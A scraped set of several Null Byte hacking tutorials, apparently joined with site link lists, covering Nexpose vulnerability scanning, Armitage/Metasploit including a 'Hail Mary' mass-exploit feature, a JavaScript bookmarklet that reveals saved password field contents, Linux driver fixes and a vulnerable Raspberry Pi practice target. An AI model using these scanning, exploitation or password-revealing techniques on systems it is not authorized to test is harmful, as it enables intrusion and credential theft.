ScannerBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHow To:Block Ads in Android Web Browsers (No Root Needed)How To:Secure Your Facebook Account Using 2FA — Without Making Your Phone Number PublicHow To:Launch Apps, Tasks, & Websites Directly from Your iPhone's Notification CenterHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:Revamped Video Tab Testing Shows Facebook Really Wants to Compete with YouTubeHow To:Hack web browsers with BeEFHow To:Set Up Two-Factor Authentication for Your Accounts Using Authy & Other 2FA AppsHow To:Change Slack's Default Browser to Chrome, Firefox, or SafariHow To:No Data, No Problem—Use SMS to Connect to Your Favorite Web Services on AndroidHack Like a Pro:How to Fingerprint Web Servers Using HttprintNews:Chrome for iOS Updated to Add a 'Read Later' FeatureNews:Apple's Ditching the 'Do Not Track' Option for Safari in iOS 12.2News:The New Web-Based Snap Map Lets Anyone Watch Public Snaps, No Account NeededNews:Mastercard, Qualcomm-Powered ODG Smartglasses Use Iris Authentication for AR ShoppingHow To:Set Up Instagram Recovery Codes So You Can Always Access Your Account with 2FA EnabledNews:Epson's Moverio Smartglasses Line Gets Major Upgrades with New SDK and Web-Based PublishingHow To:Get the Chrome Experience on Android Without Google Tracking YouNews:You Can Now Send Web Links & Landscape Photos on Instagram DirectHow To:A Security Bug Just Made It Risky to Open Links on Your iPhone—Here's How to Protect YourselfHow To:Hack the iPhone or iPod TouchBinance 101:How to Enable Google Authenticator for WithdrawalsHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Stop Third-Party Apps You Never Authorized or No Longer Use from Accessing Your Instagram AccountHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:The Official Google+ Insider's Guide IndexNews:Don Williamson's Real-Time Web-Based DCPU-16 Emulator & ASM Code EditorHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceCommunity Byte:Coding a Web-Based Password Cracker in Python |
Hack Like a Pro: Using Nexpose to Scan for Network & System Vulnerabilities « Null Byte :: WonderHowTo | Welcome back, my budding hackers!One of the keys to being successful as a hacker, pentester, or cyber warrior is the ability to find vulnerabilities or flaws in the target system, which are what we exploit when we hack. We have looked at several ways to do that including various Web application vulnerability testers such asNiktoand searching through vulnerability databases such aswww.securityfocus.com, but here we want to be more specific. What if we had a tool that could scan a system or network and report back to us all its vulnerabilities—that be a gold mine for us, and we do have such a tool (or tools)!They are generally referred as vulnerability scanners. These tools maintain a database of known vulnerabilities and then scan the target systems for them. If they find any, they then generate a detailed report of the vulnerabilities found, allowing us to simply choose the appropriate attack, then exploit the system or network.There are numerous vulnerability assessment tools on the market, including the ever popular Nessus, which began as an open source project and is now a commercial product from Tenable. Other vulnerability scanners include Retina, ISS, Acunetix, as well as many others.In this tutorial, we will be using Rapid7's Nexpose tool. Rapid7 is the same company that produces Metasploit, and one of the key advantages if you are a Metasploit user is the way that Nexpose integrates its results into it.We will be using Nexpose in a Windows 7 environment, but Nexpose can also be used in a Linux/UNIX environment. In addition, although I will be demonstrating it here on my local area network hacking lab, it can just as easily be used against public-facing IP's.Step 1: Download & Register NexposeTo begin, download Nexpose from Rapid7's website, which you cab dohere. Rapid7 produces multiple editions of Nexpose—we will be using the free community edition.Once you have completed the download, install it on your Windows 7 system.As Nexpose installs, it will pop up a wizard like the below. Simply follow the instructions as they come up.It does a system check first—note that it recommends 8GB of RAM. Accept the license agreement, then selectType and destinationof Nexpose. In this case, I chose Nexpose Security Console with local Scan Engine.Next, select the default value for the database on port 5432, and finally, create a username and password to use for this application. After you've got that all squared away, Nexpose will begin to extract files to your system.When you see the screen below, you have successfully installed Nexpose and are ready to begin scanning for vulnerabilities.Step 2: Restart Your SystemThe first step toward scanning your network is to restart your system, after which Nexpose will be ready to use.Make certain that Nexpose has been started by going to your Windows Start button, selecting All Programs, then Rapid7. Click on Start Nexpose Service to start Nexpose in the background.Step 3: Navigate to Port 3780 in Your BrowserNow , navigate tohttp://localhost:3780, where you will access Nexpose from your browser. This will open a screen like the one below and Nexpose will begin to update its database of known vulnerabilities.Be patient, this can take a while as all the vulnerabilities are loaded into the database. Then, Nexpose will compile the vulnerability checks, which means more waiting.Finally, you will see a screen asking for your credentials. Enter the username and password you entered when you installed Nexpose.When you registered at Rapid7 to download the software, you provided your name and email address. Nexpose emailed you a product key, so enter it here to activate Nexpose.When you see this screen, you are ready to start scanning.Step 4: Scan the TargetsNext, click on Home button in the upper left corner.No click on "New Static Site".Click on "Assets", then click on "View", and finally, click on "New Site". Here you will enter the network or IP addresses you want to scan. This community edition allows us to scan up to 32 IP addresses.When you're all set, click "Scan".Step 5: View the ResultsNow that the scan is complete, we're ready for the good part that makes all our effort worthwhile. Nexpose has scanned all the computers on the list or network and found all the vulnerabilities we need to know to hack these targets.Click on reports on the top line menu and select to place the report in PDF format.When we do, a report like the following is generated and opened.Over twenty pages long, this report will detail all the potential vulnerabilities on the target systems or network.You can see what the Executive Summary looks like below.We can then scroll down through this report to view the numerous vulnerabilities the scanner found. Here is an example of one:Vulnerability scanners like Nexpose were designed to assist security engineers to identify potential vulnerabilities in their systems and networks, but the smart hacker can use them to identify potential targets and their vulnerabilities.No more guessing which exploit to use, Nexpose and these scanners can pinpoint not only the vulnerability, but also the exploit used to hack the system.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Scan for Vulnerabilities with NessusNews:How to Study for the White Hat Hacker Associate Certification (CWA)How to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHow To:The Five Phases of HackingHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Scan for Vulnerabilities on Any Website Using NiktoHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHow To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Tactical Nmap for Beginner Network ReconnaissanceHow To:Anti-Virus in Kali LinuxHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)How To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Conduct Recon on a Web Target with Python ToolsHow To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISNews:The 5 Best Apps for Scanning Text & Documents on AndroidHack Like a Pro:How to Hack the Shellshock VulnerabilityHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Install OpenVAS for Broad Vulnerability AssessmentNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Scan Websites for Vulnerabilities with ArachniHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)Hacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:The Official Google+ Insider's Guide Index |
How to Get Your AMD Graphics, Sound & Other Drivers to Work in Linux on Your Laptop « Null Byte :: WonderHowTo | With the purchase of mylatest computer, installing Linux turned into a nightmare fromHell. The graphics drivers are probably thebiggestissue that anyone with a newer computer will run into when installing Linux. AMD and NVIDIA are the dominant ones on the market, both of which have awful support.Not only do graphics give us trouble, but anyone with a switchable power laptop (when you can use just AC without battery, with the battery plugged in), HDMI, audio in and out, or anyone with any kind of wonky hardware will be likely scared off from the computer and from Linux until the end of time.From first hand experience, and a fiery, passionate love for Linux, I almost found myself running scared until I hacked together these lovely fixes that we will be going over today. As far as I know, I'm the only person on the planet running an Alienware M18x without any hardware issues under Linux with AMD graphics cards, because only failed documention exists.Let's look at the issues that we will encounter, depending on which graphics driver the system is using.RequirementsLinuxA laptop with any of the issues described below (Alienware, AsusG7x, Vaio, etc)Common Issues with New Hardware & How to Fix ThemAudioAlsa does not workWhen you have alsa id configured properly, yet still your computer produces no sound, it's because the computer incorrectly probes the hardware. This is likely caused by HDMI in and out on newer laptops. In order to fix this, we need to force the device inalsa.conf.Edit thealsa.conffile.sudo nano /etc/modprobe.d/alsa.confAdd specified hardware information to the configuration file.options snd-pcsp index=-2alias snd-card-0 snd-hda-intelalias sound-slot-0 snd-hda-inteloptions snd-hda-intel model=alienware (change depending on brand)options snd-hda-intel enable_msi=1Motherboard speaker beepsWhen using auto-completion, or backspacing in a program, your motherboard speaker beeps. This is loud, and annoying, and even if the module is removed and the channel is muted, you will still hear beeps. Here is a work-around.Edit yourmodprobe.conffile.sudo nano /etc/modprobe.d/modprobe.confAdd this line to make it not load the module on boot.blacklist pcspkrOpen up alsa and mute the beep channel by pressing "M".alsamixerVideoOpensource drivers for AMDThis driver makes the GPU(s) at an extremely high load by default, using much more power and shortening the life of your hardware. It also has terrible colors and 3d rendering when compared to the proprietary catalyst drivers.Mount the debugfs.sudo mount -t debugfs none /sys/kernel/debugAppend this line to/etc/fstab.debugfs /sys/kernel/debug debugfs defaults 0 0Look at your current clock speeds and load on your GPU.cat /sys/kernel/debug/dri/0/radeon_pm_infoNow, echo a low power value as root user to the card(s):echo low > /sys/class/drm/card0/device/power_profileAnd if you have two cards:echo low > /sys/class/drm/card1/device/power_profileThese two lines can be added to the end of/etc/rc.localfor a permanent change. Simply change "low" to "high" or "mid" for different power levels.Proprietary drivers for AMDThe proprietary drivers seem to work better in nearly every area, except you may notice that it's become rather impossible to watch videos on your media player, or recieve video on Skype. This is due to a driver bug with thexvvideo driver. To fix it, we just need to change which driver our media playback program is using. I use mplayer in this example.Open upmplayer.ClickOptions > Preferences > Video.Click the dropdown withxvcurrently selected, and change it to literally any other one. I usegl.If you've got any more hardware issues or fixes, post them below or to thecommunity corkboard! Let's get our funky hardware tearing it up in Linux.Be a Part of Null Byte!Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viakevinelkinsRelatedHow To:Use the ATI Overdrive utility to overclock your ATI AMD Radeon Graphics CardHow To:Fix AMD Radeon HD Series Not Detecting Second ScreenHow To:Stream PC Games to Your Phone Using AMD LinkHow To:Build a desktop PC powered by AMD Dragon platform technologyNews:Multi-Cores, AI & Computer Parallelism — How Gaming Chips Drive CarsHow To:Install nVidia video drivers in Ubuntu Linux 7.10How To:Make Skyrim (& Other Games) Utilize AMD Crossfire Before the Patch is ReleasedHow To:AMD vs. Intel processors - How to pick your ideal PC.How To:Play Emulated Games on Linux with Your Xbox 360 ControllerHow To:Get Packet Injection Capable Drivers in LinuxHow To:9 Tips for Maximizing Your Laptop's Battery LifeHow To:Share Your Laptop's Wireless Internet with Ethernet DevicesHow To:Mine Bitcoin and Make MoneyHow To:Your Guide to Buying Computer Parts: How to Get the Most for Your MoneyNews:Virtual Box with Ubuntu on MacbookHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Get Free Wi-Fi from Hotels & MoreNews:Complete Arch Linux Installation, Part 2: Graphical User Interface & PackagesNews:Ubuntu Remix On Virtual Box using a New MacbookNews:Day 2 Of Our New WorldNews:Roof Top Rock |
How to Reveal Saved Browser Passwords with JavaScript Injections « Null Byte :: WonderHowTo | JavaScript is the language of the internet. It is what allows us to create dynamic, interesting webpages that are fast, web-based applications and so much more. The primary use of JavaScript is to write functions that are embedded in or included fromHTMLpages and that interact with theDocument Object Model(DOM) of the page. This is the magic that allows all of what we see to happen, and for our browser to be manipulated.What Is JavaScript Used For?Pop up windows. A new window with programmatic control over the size, position, and attributes.Validating input values of a web form to make sure that they are acceptable before being submitted to the server.Changing images as the mouse cursor moves over them in real-time.Creating cookies to save important browser information.Saving browser preferences.Entire browser webkits.Anonymous redirects.Real-time website changes.Command execution based on chronology.Many more.As you can see, JavaScript controls a lot of what we see on the internet. However, since it can also control our browser at such a low level, we can manipulate forms and webpages to do things that they weren't normally intended for. Today inNull Byte, we are going to do a cool, quick JavaScript hack that can reveal browser passwords that are stored by manipulating the browser.The CodePaste this code into the URL field in your browser to reveal stored passwords (you must be at a website the shows the asterisks on the screen):javascript: var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Password found ', s)}else{alert('Password is blank')}return true;}}Now, as a fun little game, who can tell me why it does it? Leave comments in theforums! Also, come say hi onTwitterand in theIRC! We have loads of new members who idle frequently.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byFreddy The BoyRelatedHow To:Reveal Saved Website Passwords in Chrome and Firefox with This Simple Browser HackHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Write an XSS Cookie Stealer in JavaScript to Steal PasswordsHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:Hack Your Roommate! How to Find Stored Site Passwords in Chrome and FirefoxHow To:Hack Forum Accounts with Password-Stealing PicturesHow To:Inject Coinhive Miners into Public Wi-Fi HotspotsHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Protect Others from Accessing Saved Password on Google ChromeSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Turn JavaScript on in Internet ExplorerHow To:Simply Gather Saved Passwords (Quick Tutorial)Hack Like a Pro:How to Hack Facebook (Facebook Password Extractor)How To:Enable JavaScript and Cookies in OperaHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Manage Stored Passwords So You Don't Get HackedHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingNews:Get YouTube's New Layout Today with a Simple JavaScript HackHow To:Carve Saved Passwords Using CainHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)Goodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreHow To:Get the New Google Navigation MenuAtomic Web:The BEST Web Browser for iOS DevicesHow To:JavaScript Codecademy TutorialHow To:Access Wikipedia During Today's SOPA BlackoutGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingNews:3 Unique Alternative Web Browsers for Your iOS DeviceHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseNews:The Homepage of jQueryNews:Fun Way to Learn JavaScript Basics!Goodnight Byte:Coding a Web-Based Password Cracker in PythonMastering Security, Part 1:How to Manage and Create Strong Passwords |
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 4 (Armitage) « Null Byte :: WonderHowTo | Welcome back, my hacker novitiates!As you know by now, theMetasploit Frameworkis one of my favorite hacking tools. It is capable of embedding code into aremotesystem and controlling it, scanning systems for recon, andfuzzingsystems to find buffer overflows. Plus, all of this can be integrated into Rapid7's excellent vulnerability scannerNexpose.Many beginners are uncomfortable using the interactive msfconsole and probably will be without a significant amount of hours spent using Metasploit. However, Metasploit does have other means of controlling the system that make system exploitation a touch easier for those of you uncomfortable with the command line.For those who are more comfortable using a graphical user interface (GUI), Raphael Mudge has developed one that connects to and controls Metasploit much like a Windows application. He calls it Armitage, and I've covered it briefly inmy Metasploit primerguide. Especially for new, aspiring hackers, Armitage can make learning hacking with Metasploit a quicker and much less painful process.Let's take a look a Armitage and see how it can make hacking simpler.Step 1: Download ArmitageThe first step, of course, is to download Armtage. If you haveBackTrackor the early versions ofKali, you probably don't have Armitage, but you can get itfrom Armitage's website.Click on the download button and it will pull up the following webpage. Make certain that you download the Linux version.Another download option includes usingthe command line tool aptitude. Just type the following to install it.kali apt-get install armitageIn addition, you can also use the GUI-based tool in Kali, the "Add/Remove Software," and search for "Armitage."Step 2: Start MetasploitOnce you have Armitage downloaded onto your system, the next step is to start Matsploit. Make certain the postgreSQL server is started by typing:kali > service postgresql startNow, start Metasploit by typing:kali > msfconsoleStep 3: Start ArmitageArmitage uses a client/server architecture where Metasploit is the server and Armitage is the client. In essence, Armitage is a GUI client that I can interact and control the Metasploit server.Start Armitage in Kali by typing:kali > armitageWhen you do so, you will see the following screen.If you are running Metasploit from your "home" system, leave these default setting and click "Connect." If you want to run Armitage on a remote system, simply put the IP address of the system running Metasploit in the window asking you for the "Host."Step 4: Start the RPC ServerArmitage connects to an RPC server in order to control Metasploit. You are likely to see the following screen after starting Armitage.In some cases, it make take awhile to connect, such as in the screen below.When Armitage finally connects to Metasploit's RPC server, you will greeted with the following screen.Success! You are now running Metasploit from an easy to use GUI.Step 5: Explore ArmitageNotice in the upper left-hand corner of the Armitage screen, you can see folders. These folders contain four types of Metasploit modules;auxiliaryexploitpayloadpostIf you have readmy earlier Metasploit tutorials, you know that this is how Metasploitorganizes its modules. For the beginner, the exploit andpayloadmodules are the most important.We can expand the exploit modules directory by clicking on the arrow head to its right. When we do so, it expands and show us its contents.It categorizes the exploits by the type of operating system (OS) they are designed for, such as Windows, BSD, Linux, Solaris, etc. Remember, exploits are specific to an operating system, an application, ports, services, and sometimes even the language. If we scroll to the Windows subdirectory and expand it, we see all the Windows exploits categorized by type.Now, when we are looking for an exploit to use on a particular system with a particular vulnerability, we can simply point and click to find it.Step 6: Hail Mary!Nearly everything you can do with the Metasploit console, you can with Armitage. There is one thing though that you do with Armitage that you cannot do with msfconsole (at least without scripting). That one thing is to throw the Hail Mary! The Hail Mary is where Armitage will throw every exploit it has against a site to see whether any of them work.Simply go to the "Attacks" menu at the top of Armitage and select "Hail Mary." When you click on it it warns you like in the screen below.This wouldn't really be effective in a hacking environment as its far from stealthy. It will create so much "noise" on the target that you will likely be detected immediately, but in a lab or pentesting environment, it can be useful to try numerous attacks against a target a see which, if any, will work.Armitage enables the aspiring hacker to quickly grasp the basics of Metasploit hacking and begin to use this excellent and powerful tool in very short order. We all owe Raphael Mudge a debt of gratitude for developing and giving away this excellent piece of software!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Exploring the Inner Architecture of MetasploitHow To:Do a Simple NMAP Scan on ArmatigeHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking Simulations |
How to Run Windows from Inside Linux « Null Byte :: WonderHowTo | Something that can shy a user away from making the switch to Linux is not having the option to go back to Windows. Luckily, there are solutions like dual-booting, where you can have both OS's installed right next to each other. However, Windows 8 appears as if it will block dual-boots with its neo-space BIOS that have been developed. Sneaky-sneaky. Windows users could still throw in a Linux live CD to try out Linux, but what does a Linux user do when they need something from Windows?Oracle has a free program similar toVMwarecalledVirtualBox. VirtualBox creates a VM (Virtual Machine) within the host operating system. This allows you to install an entire operating system, like Windows, within Linux while the host operating system is still running. This can be useful in so many ways, you can even run multiple VM's simultaneously—if your computer hardware permits.In thisNull Byte, we're going to install Oracle's VirtualBox, and go over how to run the daemons and modules, as well as prepare a virtual hard drive for guest OS installation with a nice vTutorial by yours truly.Install VirtualBox and Configure ModulesFollow along with this video demo to learn how to install Vbox in Arch Linux, and configure it properly. For your reference, here all of the commands (in order of usage):sudo pacman -S virtualboxsudo vboxbuildsudo nano /etc/rc.conf (edit the lines with vboxdrv, and vboxnetflt)sudo modprobe vboxdrvsudo modprobe vboxnetfltPlease enable JavaScript to watch this video.Come join some chats in theIRC!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitHow To:Virtual Machine BasicsHow To:Run Kali Linux as a Windows SubsystemHow To:Recover Passwords for Windows PCs Using OphcrackHack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)How To:Run Your Favorite Graphical X Applications Over SSHHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1How To:Automate Your Linux Commands with a Single Click (For Android Devices)How To:Use the Wubi installer for UbuntuNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchHow To:Use Cygwin to Run Linux Apps on WindowsHow To:Scan for Viruses in Windows Using a Linux Live CD/USBHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersNews:Performance Hacks & Tweaks for LinuxHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Recover Deleted Files in LinuxHow To:Create a Custom Arch Linux DistroHow To:Windows 7 Won't Boot? Here's How To Fix Your Master Boot RecordHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginHow To:Remove a Windows Password with a Linux Live CDNews:Cannot find windows loader after Linux install?How To:Chain VPNs for Complete AnonymityHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Customize Your Linux DesktopHow To:Install Linux Mint 7 inside Windows VistaNews:Make Windows Vista Run Faster - free!How To:boot Linux in your browserHow To:Play Emulated Games on Linux with Your Xbox 360 Controller |
How to Set Up a Practice Computer to Kill on a Raspberry Pi « Null Byte :: WonderHowTo | The world is full of vulnerable computers. As you learn how to interact with them, it will be both tempting and necessary to test out these newfound skills on a real target. To help you get to that goal, we have a deliberately vulnerableRaspberry Piimage designed for practicing and taking your hacking skills to the next level.Many of us are hands-on learners, and the best way to learn a skill is to try what you're being taught to gain a real understanding; This can get legally complicated when learning about cybersecurity, due to complex and beginner-unfriendly computer hacking laws in the US and other countries.With hacking constantly in the news and on the national radar, police are less and less understanding when dealing with issues of computer intrusion. As many of the principals you will learn are designed to compromise or break computers, learning about ransomware on your sister's laptop or local library computer may not be the best place to make your first mistakes as a hacker.The solution is a computer with no valuable data inside, one which is deliberately vulnerable and specially made for attacking. So where do you get this vulnerable computer? Do you buy an old one and hope that it has some interesting vulnerabilities? Ten years ago, that was exactly how you'd practice hacking older systems. Today, specially designed vulnerable operating systems are used to practice hacking tools against common vulnerable software services.My personal DV-Sadberry Pi Zero W in a 3D printed case for doing messed up things to.Image by SADMIN/Null ByteSince Null Byte is a white hat hacking community, it's essential we provide every opportunity to practice lawfully and safely as we learn to break things. The Raspberry Pi is a cheap, flexible computer that can run a wide variety of popular software and backend applications; This makes it a perfect alternative to running a virtual machine as a "firing range" computer for practicing attacks.Don't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running KaliVM Versus Native InstallationSo why not just run it on your laptop in a virtual machine? I've always hesitated to unleash the fury on a virtual machine nestled inside my precious hacking laptop. Virtual machines can be complicated for beginners, and the price of running that logic bomb on your mom's HP versus the virtual machine could be destroying the computer.Physical separation is desirable, but until recently, it was rather expensive to buy another computer for testing when a free VM is available. That has changed with the availability and price point of the Raspberry Pi. Now, for $35, you can get started hacking safe and legal targets thanks to the hard work of the InfoSec community!Re4son's Damn Vulnerable PiAustralian security researcher Re4son runsWhitedome Consulting, a site featuring custom Raspberry Pi images developed in support of both cybersecurity learning and active penetration testing. He alsobuilds things with the Raspberry Pithat blue teams see hovering in their darkest nightmares. Offering both offensive and practice images, Re4son's Damn Vulnerable Pi image caught my eye after relying on his excellent "Re4son Kernel" to solve many problemsrunning Kali on the Pi Zero W.Don't Miss:How to Set Up Kali Linux on the New $10 Raspberry Pi Zero WRe4son makes things like this "Sticky Fingers Kali Pi" in a tactical penetration testing platform that gives hackers an air force.Image by Re4son/White Dome ConsultingTheDamn Vulnerable Pi imageis a perfect companion to an offensive Kali Linux build, simulating a target computer running vulnerable services for you to destroy. The setup is simple and using it is elegant with an optional touchscreen, although we will be using the "dv-pi" tool to control our DV-Pi over SSH from any laptop or smartphone for the sake of simplicity and compatibility. This tool is perfect for practicing at home, running hacking competitions, or demonstrating at live hacking events.Re4son's DV-Pi comes with the following features:3 GB image ready to go with all common TFT screens.Re4son Kali-Pi Kernel 4.4 with touchscreen support.Supports Raspberry Pi 0/0W/1/2/3.Tool (re4son-pi-tft-setup) to set up all common touchscreens, enable auto-logon, etc.Command line tool (dv-pi) for headless operation.Each image comes with one vulnerability to get in and one vulnerability to get root.Each image has twoproof.txtwith a hash to proof successful compromise.What You'll NeedaRaspberry Pi 3(this could work on other Pi models)Re4son's DV-Pi imagea computer to burn the disk image fromamicroSD card(at least 8 GB) andadapterorcard readerfor your laptopanEthernet cableoptional — you can set up your DV-Pi from a smartphone instead of a laptop after the image is burnedEverything you need to really mess up this Pi's day.Image by SADMIN/Null ByteGood Beginner Pi Setup:CanaKit Raspberry Pi 3 B+ Starter Kit— $80Step 1: Prepare the Image & SD CardTo begin, we'll need Re4son's DV-Pi image. You can find it on hisblog here. We'll start with the "easy-ish" image versionlinked here.After downloading the DV-Pi image, unarchive the image and select your favorite disk image burning software, because we'll be burning the image to an SD card. I likeEtcher, which is 